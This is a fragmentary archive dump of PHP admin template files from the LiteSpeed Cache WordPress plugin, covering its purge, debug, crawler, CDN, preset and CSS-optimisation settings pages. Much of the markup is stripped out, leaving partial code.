    plugins/litespeed-cache/tpl/optimax/entry.tpl.php000064400000002322152335264760016210 0ustar00 esc_html__( 'OptimaX Summary', 'litespeed-cache' ), 'settings' => esc_html__( 'OptimaX Settings', 'litespeed-cache' ), ); if ( is_network_admin() ) { $menu_list = array( 'network_settings' => esc_html__( 'OptimaX Settings', 'litespeed-cache' ), ); } ?>

    v
    $val ) { echo '
    '; require LSCWP_DIR . 'tpl/optimax/' . $menu_key . '.tpl.php'; echo '
    '; } ?>
    plugins/litespeed-cache/tpl/optimax/settings.tpl.php000064400000001625152335264760016714 0ustar00form_action(); ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    form_end(); plugins/litespeed-cache/tpl/optimax/summary.tpl.php000064400000001427152335264760016551 0ustar00

    Coming soon

    Placeholder

    ... Placeholder ...
    plugins/litespeed-cache/tpl/toolbox/import_export.tpl.php000064400000005265152335264760020000 0ustar00

    :

    form_action( Router::ACTION_IMPORT, Import::TYPE_IMPORT, true ); ?>
    :

    🚨

    plugins/litespeed-cache/tpl/toolbox/edit_htaccess.tpl.php000064400000007031152335264760017660 0ustar00htaccess_read(); } catch ( \Exception $e ) { ?>

    getMessage() ); ?>

    :
    : LITESPEED_CFG_HTACCESS' ); ?> defined("LITESPEED_CFG_HTACCESS") || define("LITESPEED_CFG_HTACCESS", "your path on server");', 'wp-config.php' ); ?>
    :
    : LITESPEED_CFG_HTACCESS_BACKEND' ); ?> defined("LITESPEED_CFG_HTACCESS_BACKEND") || define("LITESPEED_CFG_HTACCESS_BACKEND", "your path on server");', 'wp-config.php' ); ?>

    plugins/litespeed-cache/tpl/toolbox/entry.tpl.php000064400000003277152335264760016227 0ustar00 esc_html__( 'Purge', 'litespeed-cache' ), ); if ( ! $this->_is_network_admin ) { $menu_list['import_export'] = esc_html__( 'Import / Export', 'litespeed-cache' ); } if ( ! $this->_is_multisite || $this->_is_network_admin ) { $menu_list['edit_htaccess'] = esc_html__( 'View .htaccess', 'litespeed-cache' ); } if ( ! $this->_is_network_admin ) { $menu_list['heartbeat'] = esc_html__( 'Heartbeat', 'litespeed-cache' ); $menu_list['report'] = esc_html__( 'Report', 'litespeed-cache' ); } if ( ! $this->_is_multisite || $this->_is_network_admin ) { $menu_list['settings-debug'] = esc_html__( 'Debug Settings', 'litespeed-cache' ); $menu_list['log_viewer'] = esc_html__( 'Log View', 'litespeed-cache' ); $menu_list['beta_test'] = esc_html__( 'Beta Test', 'litespeed-cache' ); } ?>

    v
    $val ) : ?>
    plugins/litespeed-cache/tpl/toolbox/beta_test.tpl.php000064400000007635152335264760017042 0ustar00 form_action( Router::ACTION_DEBUG2, Debug2::TYPE_BETA_TEST ); ?>

    : https://github.com/litespeedtech/lscache_wp/commit/example_comment_hash_d3ebec0535aaed5c932c0

    dev

    master

    latest

    🚨

    ' . esc_html__( 'Use latest GitHub Dev/Master commit', 'litespeed-cache' ) . '' ); ?>
    ' . esc_html__( 'Use latest WordPress release version', 'litespeed-cache' ) . '' ); ?>

    🚨 v3.6.4', 'dev/master/v4+' ); ?>

    plugins/litespeed-cache/tpl/toolbox/purge.tpl.php000064400000027313152335264760016205 0ustar00 esc_html__( 'Purge Front Page', 'litespeed-cache' ), 'desc' => esc_html__( 'This will Purge Front Page only', 'litespeed-cache' ), 'icon' => 'purge-front', 'append_url' => Purge::TYPE_PURGE_FRONTPAGE, ), array( 'title' => esc_html__( 'Purge Pages', 'litespeed-cache' ), 'desc' => esc_html__( 'This will Purge Pages only', 'litespeed-cache' ), 'icon' => 'purge-pages', 'append_url' => Purge::TYPE_PURGE_PAGES, ), ); foreach ( Tag::$error_code_tags as $code ) { $_panels[] = array( 'title' => sprintf( esc_html__( 'Purge %s Error', 'litespeed-cache' ), esc_html( $code ) ), 'desc' => sprintf( esc_html__( 'Purge %s error pages', 'litespeed-cache' ), esc_html( $code ) ), 'icon' => 'purge-' . esc_attr( $code ), 'append_url' => Purge::TYPE_PURGE_ERROR . esc_attr( $code ), ); } $_panels[] = array( 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - LSCache', 'desc' => esc_html__( 'Purge the LiteSpeed cache entries created by this plugin', 'litespeed-cache' ), 'icon' => 'purge-all', 'append_url' => Purge::TYPE_PURGE_ALL_LSCACHE, ); $_panels[] = array( 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'CSS/JS Cache', 'litespeed-cache' ), 'desc' => esc_html__( 'This will purge all minified/combined CSS/JS entries only', 'litespeed-cache' ), 'icon' => 'purge-cssjs', 'append_url' => Purge::TYPE_PURGE_ALL_CSSJS, ); if ( defined( 'LSCWP_OBJECT_CACHE' ) ) { $_panels[] = array( 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Object Cache', 'litespeed-cache' ), 'desc' => esc_html__( 'Purge all the object caches', 'litespeed-cache' ), 'icon' => 'purge-object', 'append_url' => Purge::TYPE_PURGE_ALL_OBJECT, ); } if ( Router::opcache_enabled() ) { $_panels[] = array( 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Opcode Cache', 'litespeed-cache' ), 'desc' => esc_html__( 'Reset the entire opcode cache', 'litespeed-cache' ), 'icon' => 'purge-opcache', 'append_url' => Purge::TYPE_PURGE_ALL_OPCACHE, ); } if ( $this->has_cache_folder( 'ccss' ) ) { $_panels[] = array( 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Critical CSS', 'litespeed-cache' ), 'desc' => esc_html__( 'This will delete all generated critical CSS files', 'litespeed-cache' ), 'icon' => 'purge-cssjs', 'append_url' => Purge::TYPE_PURGE_ALL_CCSS, ); } if ( $this->has_cache_folder( 'ucss' ) ) { $_panels[] = array( 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Unique CSS', 'litespeed-cache' ), 'desc' => esc_html__( 'This will delete all generated unique CSS files', 'litespeed-cache' ), 'icon' => 'purge-cssjs', 'append_url' => Purge::TYPE_PURGE_ALL_UCSS, ); } if ( $this->has_cache_folder( 'localres' ) ) { $_panels[] = array( 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Localized Resources', 'litespeed-cache' ), 'desc' => esc_html__( 'This will delete all localized resources', 'litespeed-cache' ), 'icon' => 'purge-cssjs', 'append_url' => Purge::TYPE_PURGE_ALL_LOCALRES, ); } if ( $this->has_cache_folder( 'lqip' ) ) { $_panels[] = array( 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LQIP Cache', 'litespeed-cache' ), 'desc' => esc_html__( 'This will delete all generated image LQIP placeholder files', 'litespeed-cache' ), 'icon' => 'purge-front', 'append_url' => Purge::TYPE_PURGE_ALL_LQIP, ); } if ( $this->has_cache_folder( 'vpi' ) ) { $_panels[] = array( 'title' => __( 'Purge All', 'litespeed-cache' ) . ' - VPI', 'desc' => __( 'This will delete all generated Viewport Images', 'litespeed-cache' ), 'icon' => 'purge-front', 'append_url' => Purge::TYPE_PURGE_ALL_VPI, ); } if ( $this->has_cache_folder( 'avatar' ) ) { $_panels[] = array( 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Gravatar Cache', 'litespeed-cache' ), 'desc' => esc_html__( 'This will delete all cached Gravatar files', 'litespeed-cache' ), 'icon' => 'purge-cssjs', 'append_url' => Purge::TYPE_PURGE_ALL_AVATAR, ); } $_panels[] = array( 'title' => esc_html__( 'Purge All', 'litespeed-cache' ), 'desc' => esc_html__( 'Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches', 'litespeed-cache' ), 'icon' => 'purge-all', 'title_cls' => 'litespeed-warning', 'newline' => true, 'append_url' => Purge::TYPE_PURGE_ALL, ); if ( ! is_multisite() || is_network_admin() ) { $_panels[] = array( 'title' => esc_html__( 'Empty Entire Cache', 'litespeed-cache' ), 'desc' => esc_html__( 'Clears all cache entries related to this site, including other web applications.', 'litespeed-cache' ) . ' ' . esc_html__( 'This action should only be used if things are cached incorrectly.', 'litespeed-cache' ) . '', 'tag' => Core::ACTION_PURGE_EMPTYCACHE, 'icon' => 'empty-cache', 'title_cls' => 'litespeed-danger', 'cfm' => esc_html__( 'This will clear EVERYTHING inside the cache.', 'litespeed-cache' ) . ' ' . esc_html__( 'This may cause heavy load on the server.', 'litespeed-cache' ) . ' ' . esc_html__( 'If only the WordPress site should be purged, use Purge All.', 'litespeed-cache' ), ); } ?>

    form_action( Core::ACTION_PURGE_BY ); ?>
    http://example.com/category/category-name/', 'category-name' ); ?>
    http://example.com/tag/tag-name/', 'tag-name' ); ?>
    /2016/02/24/hello-world/', 'http://example.com/2016/02/24/hello-world/' ); ?>

    plugins/litespeed-cache/tpl/toolbox/log_viewer.tpl.php000064400000006174152335264760017227 0ustar00 'debug', 'label' => esc_html__( 'Debug Log', 'litespeed-cache' ), 'accesskey' => 'A', ), array( 'name' => 'purge', 'label' => esc_html__( 'Purge Log', 'litespeed-cache' ), 'accesskey' => 'B', ), array( 'name' => 'crawler', 'label' => esc_html__( 'Crawler Log', 'litespeed-cache' ), 'accesskey' => 'C', ), ); ?>

    cls( 'Debug2' )->path( $log['name'] ); $lines = File::count_lines( $file ); $max_lines = apply_filters( 'litespeed_debug_show_max_lines', 1000 ); $start = $lines > $max_lines ? $lines - $max_lines : 0; $lines = File::read( $file, $start ); $lines = $lines ? trim( implode( "\n", $lines ) ) : ''; $log_body_id = 'litespeed-log-' . esc_attr( $log['name'] ); ?> plugins/litespeed-cache/tpl/toolbox/heartbeat.tpl.php000064400000010532152335264760017015 0ustar00form_action(); ?>

    🚨

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short' ); ?> readable_seconds(); ?>
    15 - 120' ); ?>
    0', 'frontend' ); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 15, 120, true ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short' ); ?> readable_seconds(); ?>
    15 - 120' ); ?>
    0', 'backend' ); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 15, 120, true ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short' ); ?> readable_seconds(); ?>
    15 - 120' ); ?>
    0', 'backend editor' ); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 15, 120, true ); ?>
    form_end(); ?>plugins/litespeed-cache/tpl/toolbox/settings-debug.tpl.php000064400000014730152335264760020006 0ustar00form_action( $this->_is_network_admin ? Router::ACTION_SAVE_SETTINGS_NETWORK : false ); ?>

    conf( Base::DEBUG_TMP_DISABLE ); $temp_disabled = Debug2::is_tmp_disable(); if ( !$temp_disabled ) { ?>

    ' . $date . '' ) ); ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id, array( esc_html__( 'OFF', 'litespeed-cache' ), esc_html__( 'ON', 'litespeed-cache' ), esc_html__( 'Admin IP Only', 'litespeed-cache' ) ) ); ?>
    wp-content/litespeed/debug' ); ?>
    title( $option_id ); ?> build_textarea( $option_id, 50 ); ?>
    : _validate_ip( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id, array( esc_html__( 'Basic', 'litespeed-cache' ), esc_html__( 'Advanced', 'litespeed-cache' ) ) ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short' ); ?>
    recommended( $option_id ); ?> _validate_ttl( $option_id, 3, 3000 ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    _uri_usage_example(); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    _uri_usage_example(); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    form_end(); ?>plugins/litespeed-cache/tpl/toolbox/report.tpl.php000064400000014546152335264760016402 0ustar00generate_environment_report(); $env_ref = Report::get_summary(); // Detect passwordless plugin $dologin_link = ''; $has_pswdless_plugin = false; if ( function_exists( 'dologin_gen_link' ) ) { $has_pswdless_plugin = true; if ( ! empty( $_GET['dologin_gen_link'] ) && ! empty( $_GET['litespeed_purge_nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['litespeed_purge_nonce'] ) ), 'litespeed_purge_action' ) ) { unset( $_GET['dologin_gen_link'] ); $dologin_link = dologin_gen_link( 'Litespeed Report' ); ?> 'dologin' ) ); $btn_title = esc_html__( 'Send to LiteSpeed', 'litespeed-cache' ); if ( ! empty( $env_ref['num'] ) ) { $btn_title = esc_html__( 'Regenerate and Send a New Report', 'litespeed-cache' ); } ?>

    DoLogin Security' ); ?>

    : ' . esc_html( $env_ref['num'] ) . '' : '-'; ?>

    :


    form_action( Router::ACTION_REPORT, Report::TYPE_SEND_REPORT ); ?>
    build_checkbox( 'attach_php', sprintf( esc_html__( 'Attach PHP info to report. Check this box to insert relevant data from %s.', 'litespeed-cache' ), 'phpinfo()' ), false ); ?>

    🚨 ', '' ); ?>
    :

    plugins/litespeed-cache/tpl/cdn/entry.tpl.php000064400000001740152335264760015276 0ustar00 esc_html__( 'QUIC.cloud', 'litespeed-cache' ), 'cf' => esc_html__( 'Cloudflare', 'litespeed-cache' ), 'other' => esc_html__( 'Other Static CDN', 'litespeed-cache' ), ); ?>


    $menu_value ) { printf( '
    ', esc_attr( $menu_key ) ); require LSCWP_DIR . "tpl/cdn/$menu_key.tpl.php"; echo '
    '; } ?>
    plugins/litespeed-cache/tpl/cdn/cf.tpl.php000064400000015025152335264760014526 0ustar00form_action(); ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    build_input( Base::O_CDN_CLOUDFLARE_KEY ); ?>
    Cloudflare' ); ?>
    build_input( Base::O_CDN_CLOUDFLARE_EMAIL ); ?>
    conf( Base::O_CDN_CLOUDFLARE_ZONE ); $cls = $cf_zone ? ' litespeed-input-success' : ' litespeed-input-warning'; $this->build_input( Base::O_CDN_CLOUDFLARE_NAME, $cls ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    form_end(); $cf_on = $this->conf( Base::O_CDN_CLOUDFLARE ); $cf_domain = $this->conf( Base::O_CDN_CLOUDFLARE_NAME ); $cf_zone = $this->conf( Base::O_CDN_CLOUDFLARE_ZONE ); if ( ! $cf_domain ) { $cf_domain = '-'; } if ( ! $cf_zone ) { $cf_zone = '-'; } $curr_status = CDN\Cloudflare::get_option( CDN\Cloudflare::ITEM_STATUS, array() ); ?>

    :

    :

    : = $curr_status['devmode_expired'] ) { $expired_at = gmdate( 'm/d/Y H:i:s', $curr_status['devmode_expired'] + LITESPEED_TIME_OFFSET ); $curr_status['devmode'] = 'OFF'; printf( esc_html__( 'Current status is %1$s since %2$s.', 'litespeed-cache' ), '' . esc_html( strtoupper( $curr_status['devmode'] ) ) . '', '' . esc_html( $expired_at ) . '' ); } else { $expired_at = $curr_status['devmode_expired'] - time(); $expired_at = Utility::readable_time( $expired_at, 3600 * 3, true ); printf( esc_html__( 'Current status is %s.', 'litespeed-cache' ), '' . esc_html( strtoupper( $curr_status['devmode'] ) ) . '' ); printf( esc_html__( 'Development mode will be automatically turned off in %s.', 'litespeed-cache' ), '' . esc_html( $expired_at ) . '' ); } ?>

    ', '' ); ?>

    :

    plugins/litespeed-cache/tpl/cdn/qc.tpl.php000064400000021273152335264760014543 0ustar00finish_qc_activation( 'cdn' ); $cloud_summary = Cloud::get_summary(); ?>

    activated() ) : ?>

    activated() ) : ?>

    QUIC.cloud Online Services and CDN.', 'litespeed-cache' ) ); ?>

    fully disabled.', 'litespeed-cache' ) ); ?>

    not available for anonymous (unlinked) users.', 'litespeed-cache' ) ); ?>

    'cdn' ) ) ), '' . $btn_title, true, 'button button-primary litespeed-button-cta' ); ?>

    ', '' ); ?>

    load_qc_status_for_dash( 'cdn_dash' ) ); ?>

    <?php echo esc_attr( $cloud_summary['partner']['name'] ); ?> <?php echo esc_attr( $cloud_summary['partner']['name'] ); ?> activated() ) : ?>

    activated() ) : ?>

    load_qc_status_for_dash( 'promo_mini' ); ?>
    plugins/litespeed-cache/tpl/cdn/other.tpl.php000064400000016047152335264760015264 0ustar00conf( Base::O_CDN_MAPPING ); // Special handler: Append one row if somehow the DB default preset value got deleted if ( ! $cdn_mapping ) { $this->load_default_vals(); $cdn_mapping = self::$_default_options[ Base::O_CDN_MAPPING ]; } $this->form_action(); ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    ' . esc_html__( 'ON', 'litespeed-cache' ) . '' ); ?>
    ' . esc_html__( 'OFF', 'litespeed-cache' ) . '' ); ?>
    enroll( Base::O_CDN_MAPPING . '[' . Base::CDN_MAPPING_URL . '][]' ); ?> enroll( Base::O_CDN_MAPPING . '[' . Base::CDN_MAPPING_INC_IMG . '][]' ); ?> enroll( Base::O_CDN_MAPPING . '[' . Base::CDN_MAPPING_INC_CSS . '][]' ); ?> enroll( Base::O_CDN_MAPPING . '[' . Base::CDN_MAPPING_INC_JS . '][]' ); ?> enroll( Base::O_CDN_MAPPING . '[' . Base::CDN_MAPPING_FILETYPE . '][]' ); ?>
    :
    title( Base::CDN_MAPPING_INC_IMG ); ?>: <img', 'url()' ); ?>
    title( Base::CDN_MAPPING_INC_CSS ); ?>:
    title( Base::CDN_MAPPING_INC_JS ); ?>:
    title( Base::CDN_MAPPING_FILETYPE ); ?>: src="" data-src="" href=""' ); ?>
    ' . esc_html__( 'Include File Types', 'litespeed-cache' ) . '' ); ?>
    title( $option_id ); ?>

    element.attribute', '.attribute' ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    //', '' . esc_html( $home_url ) . '' ); ?>
    *', '//www.aa.com', '//aa.com', '//*aa.com' ); ?>
    title( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    form_end(); ?>plugins/litespeed-cache/tpl/presets/entry.tpl.php000064400000002336152335264760016221 0ustar00 esc_html__( 'Standard Presets', 'litespeed-cache' ), 'import_export' => esc_html__( 'Import / Export', 'litespeed-cache' ), ); ?>

    v
    $val ) : ?>
    plugins/litespeed-cache/tpl/presets/standard.tpl.php000064400000021160152335264760016654 0ustar00 array( 'title' => esc_html__( 'Essentials', 'litespeed-cache' ), 'body' => array( esc_html__( 'Default Cache', 'litespeed-cache' ), esc_html__( 'Higher TTL', 'litespeed-cache' ), esc_html__( 'Browser Cache', 'litespeed-cache' ), ), 'footer' => array( esc_html__( 'This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development.', 'litespeed-cache' ), esc_html__( 'A QUIC.cloud connection is not required to use this preset. Only basic caching features are enabled.', 'litespeed-cache' ), ), ), 'basic' => array( 'title' => esc_html__( 'Basic', 'litespeed-cache' ), 'body' => array( esc_html__( 'Everything in Essentials, Plus', 'litespeed-cache' ), esc_html__( 'Image Optimization', 'litespeed-cache' ), esc_html__( 'Mobile Cache', 'litespeed-cache' ), ), 'footer' => array( esc_html__( 'This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners.', 'litespeed-cache' ), esc_html__( 'A QUIC.cloud connection is required to use this preset. Includes optimizations known to improve site score in page speed measurement tools.', 'litespeed-cache' ), ), ), 'advanced' => array( 'title' => esc_html__( 'Advanced (Recommended)', 'litespeed-cache' ), 'body' => array( esc_html__( 'Everything in Basic, Plus', 'litespeed-cache' ), esc_html__( 'Guest Mode and Guest Optimization', 'litespeed-cache' ), esc_html__( 'CSS, JS and HTML Minification', 'litespeed-cache' ), esc_html__( 'Font Display Optimization', 'litespeed-cache' ), esc_html__( 'JS Defer for both external and inline JS', 'litespeed-cache' ), esc_html__( 'DNS Prefetch for static files', 'litespeed-cache' ), esc_html__( 'Gravatar Cache', 'litespeed-cache' ), esc_html__( 'Remove Query Strings from Static Files', 'litespeed-cache' ), esc_html__( 'Remove WordPress Emoji', 'litespeed-cache' ), esc_html__( 'Remove Noscript Tags', 'litespeed-cache' ), ), 'footer' => array( esc_html__( 'This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools.', 'litespeed-cache' ), esc_html__( 'A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores.', 'litespeed-cache' ), ), ), 'aggressive' => array( 'title' => esc_html__( 'Aggressive', 'litespeed-cache' ), 'body' => array( esc_html__( 'Everything in Advanced, Plus', 'litespeed-cache' ), esc_html__( 'CSS & JS Combine', 'litespeed-cache' ), esc_html__( 'Asynchronous CSS Loading with Critical CSS', 'litespeed-cache' ), esc_html__( 'Removed Unused CSS for Users', 'litespeed-cache' ), esc_html__( 'Lazy Load for Iframes', 'litespeed-cache' ), ), 'footer' => array( esc_html__( 'This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning.', 'litespeed-cache' ), esc_html__( 'A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores.', 'litespeed-cache' ), ), ), 'extreme' => array( 'title' => esc_html__( 'Extreme', 'litespeed-cache' ), 'body' => array( esc_html__( 'Everything in Aggressive, Plus', 'litespeed-cache' ), esc_html__( 'Lazy Load for Images', 'litespeed-cache' ), esc_html__( 'Viewport Image Generation', 'litespeed-cache' ), esc_html__( 'JS Delayed', 'litespeed-cache' ), esc_html__( 'Inline JS added to Combine', 'litespeed-cache' ), esc_html__( 'Inline CSS added to Combine', 'litespeed-cache' ), ), 'footer' => array( esc_html__( 'This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images.', 'litespeed-cache' ), esc_html__( 'A QUIC.cloud connection is required to use this preset. Enables the maximum level of optimizations for improved page speed scores.', 'litespeed-cache' ), ), ), ); ?>

    $timestamp, 'time' => $time, 'title' => $curr_title, ); } if ( ! empty( $summary['preset'] ) || ! empty( $backups ) ) : ?>

    ' . esc_html( $presets[ $name ]['title'] ) . '', esc_html( $time ) ); } ?>

    plugins/litespeed-cache/tpl/crawler/entry.tpl.php000064400000002173152335264760016172 0ustar00 esc_html__( 'Summary', 'litespeed-cache' ), 'map' => esc_html__( 'Map', 'litespeed-cache' ), 'blacklist' => esc_html__( 'Blocklist', 'litespeed-cache' ), 'settings' => esc_html__( 'Settings', 'litespeed-cache' ), ]; ?>


    $menu_value ) { printf( '
    ', esc_attr( $menu_key ) ); require LSCWP_DIR . "tpl/crawler/$menu_key.tpl.php"; echo '
    '; } ?>
    plugins/litespeed-cache/tpl/crawler/blacklist.tpl.php000064400000006017152335264760017002 0ustar00list_blacklist( 30 ); $count = $__map->count_blacklist(); $pagination = Utility::pagination( $count, 30 ); ?>

    $v ) : ?>
    #
    display_status( $v['res'], $v['reason'] ) ); ?>

    LITESPEED_CRAWLER_DISABLE_BLOCKLIST' ); ?>

    add_filter( \'litespeed_crawler_disable_blocklist\', \'__return_true\' );' ); ?>

    _check_overwritten( 'crawler-blocklist' ); ?>

    =
    =
    =

    plugins/litespeed-cache/tpl/crawler/map.tpl.php000064400000010172152335264760015604 0ustar00list_map( 30 ); $count = $__map->count_map(); $pagination = Utility::pagination( $count, 30 ); $kw = ''; if (! empty( $_POST['kw'] ) && ! empty( $_POST['_wpnonce'] )) { $nonce = sanitize_text_field(wp_unslash($_POST['_wpnonce'])); if (wp_verify_nonce($nonce)) { $kw = sanitize_text_field(wp_unslash($_POST['kw'])); } } ?>

    $v ) : ?>
    #
    display_status( $v['res'], $v['reason'] ) ); ?>

    =
    =
    =
    =

    plugins/litespeed-cache/tpl/crawler/settings.tpl.php000064400000014144152335264760016672 0ustar00form_action(); ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>

    title( $option_id ); ?> build_input( $option_id ); ?>
    recommended( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    title( $option_id ); ?> build_input( $option_id ); ?>
    : ' . esc_html( sanitize_text_field( wp_unslash( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE ] ) ) ) . '' ); ?> : ' . esc_html( sanitize_text_field( wp_unslash( $_SERVER[ Base::ENV_CRAWLER_LOAD_LIMIT ] ) ) ) . '' ); ?>
    _api_env_var( Base::ENV_CRAWLER_LOAD_LIMIT, Base::ENV_CRAWLER_LOAD_LIMIT_ENFORCE ); ?>
    title( $option_id ); ?> build_textarea( $option_id, 20 ); ?>
    conf( Base::O_SERVER_IP ) ) ) : ?>
    🚨 :
    conf( Base::O_ESI ) ) ) : ?>
    🚨 :
    title( $option_id ); ?> enroll( $option_id . '[name][]' ); ?> enroll( $option_id . '[vals][]' ); ?>

    _null', esc_html__( 'Cookie Values', 'litespeed-cache' ) ); ?>

    form_end(); ?>plugins/litespeed-cache/tpl/crawler/summary.tpl.php000064400000044111152335264760016524 0ustar00list_crawlers(); $summary = Crawler::get_summary(); if ( $summary['curr_crawler'] >= count( $crawler_list ) ) { $summary['curr_crawler'] = 0; } $is_running = time() - $summary['is_running'] <= 900; $disabled = Router::can_crawl() ? '' : 'disabled'; $disabled_tip = ''; if ( ! $this->conf( Base::O_CRAWLER_SITEMAP ) ) { $disabled = 'disabled'; $disabled_tip = '' . sprintf( esc_html__( 'You need to set the %s in Settings first before using the crawler', 'litespeed-cache' ), '' . esc_html( Lang::title( Base::O_CRAWLER_SITEMAP ) ) . '' ) . ''; } $crawler_run_interval = defined( 'LITESPEED_CRAWLER_RUN_INTERVAL' ) ? LITESPEED_CRAWLER_RUN_INTERVAL : 600; if ( $crawler_run_interval > 0 ) : $recurrence = ''; $hours = (int) floor( $crawler_run_interval / 3600 ); if ( $hours ) { $recurrence .= sprintf( $hours > 1 ? esc_html__( '%d hours', 'litespeed-cache' ) : esc_html__( '%d hour', 'litespeed-cache' ), $hours ); } $minutes = (int) floor( ( $crawler_run_interval % 3600 ) / 60 ); if ( $minutes ) { $recurrence .= ' '; $recurrence .= sprintf( $minutes > 1 ? esc_html__( '%d minutes', 'litespeed-cache' ) : esc_html__( '%d minute', 'litespeed-cache' ), $minutes ); } ?>

    ', '' ); ?>

    :

    : conf( Base::O_CRAWLER_CRAWL_INTERVAL ) ) ); ?>

    :

    :

    :

    : get_server_load() ); ?>

    :

    :

    :

    >

    $v ) : $hit = ! empty( $summary['crawler_stats'][ $i ][ Crawler::STATUS_HIT ] ) ? (int) $summary['crawler_stats'][ $i ][ Crawler::STATUS_HIT ] : 0; $miss = ! empty( $summary['crawler_stats'][ $i ][ Crawler::STATUS_MISS ] ) ? (int) $summary['crawler_stats'][ $i ][ Crawler::STATUS_MISS ] : 0; $blacklisted = ! empty( $summary['crawler_stats'][ $i ][ Crawler::STATUS_BLACKLIST ] ) ? (int) $summary['crawler_stats'][ $i ][ Crawler::STATUS_BLACKLIST ] : 0; $blacklisted += ! empty( $summary['crawler_stats'][ $i ][ Crawler::STATUS_NOCACHE ] ) ? (int) $summary['crawler_stats'][ $i ][ Crawler::STATUS_NOCACHE ] : 0; $waiting = isset( $summary['crawler_stats'][ $i ][ Crawler::STATUS_WAIT ] ) ? (int) $summary['crawler_stats'][ $i ][ Crawler::STATUS_WAIT ] : (int) ( $summary['list_size'] - $hit - $miss - $blacklisted ); ?>
    #
    '; } ?> %s ', esc_attr__( 'Waiting', 'litespeed-cache' ), esc_html( $waiting > 0 ? $waiting : '-' ) ); printf( '%s ', esc_attr__( 'Hit', 'litespeed-cache' ), esc_html( $hit > 0 ? $hit : '-' ) ); printf( '%s ', esc_attr__( 'Miss', 'litespeed-cache' ), esc_html( $miss > 0 ? $miss : '-' ) ); printf( '%s ', esc_attr__( 'Blocklisted', 'litespeed-cache' ), esc_html( $blacklisted > 0 ? $blacklisted : '-' ) ); ?> build_toggle( 'litespeed-crawler-' . $i, $__crawler->is_active( $i ) ); ?> conf( Base::O_SERVER_IP ) ) ) : ?>
    🚨 :
    ' . esc_html__( 'running', 'litespeed-cache' ) . ''; } } ?>

    =
    =
    =
    =

    ', '' ); ?>

    json_path(); if ( $ajax_url ) : ?>
    LiteSpeed Icon

    plugins/litespeed-cache/tpl/page_optm/settings_tuning_css.tpl.php000064400000016711152335264760021444 0ustar00

    title( $option_id ); ?> build_textarea( $option_id ); ?>

    : litespeed_optimize_css_excludes' ); ?> data-no-optimize="1"' ); ?>
    : https://github.com/litespeedtech/lscache_wp/blob/dev/data/css_excludes.txt
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>

    : litespeed_ucss_exc' ); ?>
    : add_filter( 'litespeed_ucss_per_pagetype', function(){return get_post_type() == 'page';} );", 'page' ); ?>
    : add_action( 'litespeed_optm', function(){get_post_type() == 'page' && do_action( 'litespeed_conf_force', 'optm-ucss', false );});", 'page' ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    page' ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    _uri_usage_example(); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    title( $option_id ); ?> build_textarea( $option_id ); ?>
    plugins/litespeed-cache/tpl/page_optm/settings_css.tpl.php000064400000037177152335264760020071 0ustar00load_queue( 'ccss' ); $ucss_queue = $this->load_queue( 'ucss' ); $next_gen = '' . $this->cls( 'Media' )->next_gen_image_title() . ''; $ucss_service_hot = $this->cls( 'Cloud' )->service_hot( Cloud::SVC_UCSS ); $ccss_service_hot = $this->cls( 'Cloud' )->service_hot( Cloud::SVC_CCSS ); ?>

    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
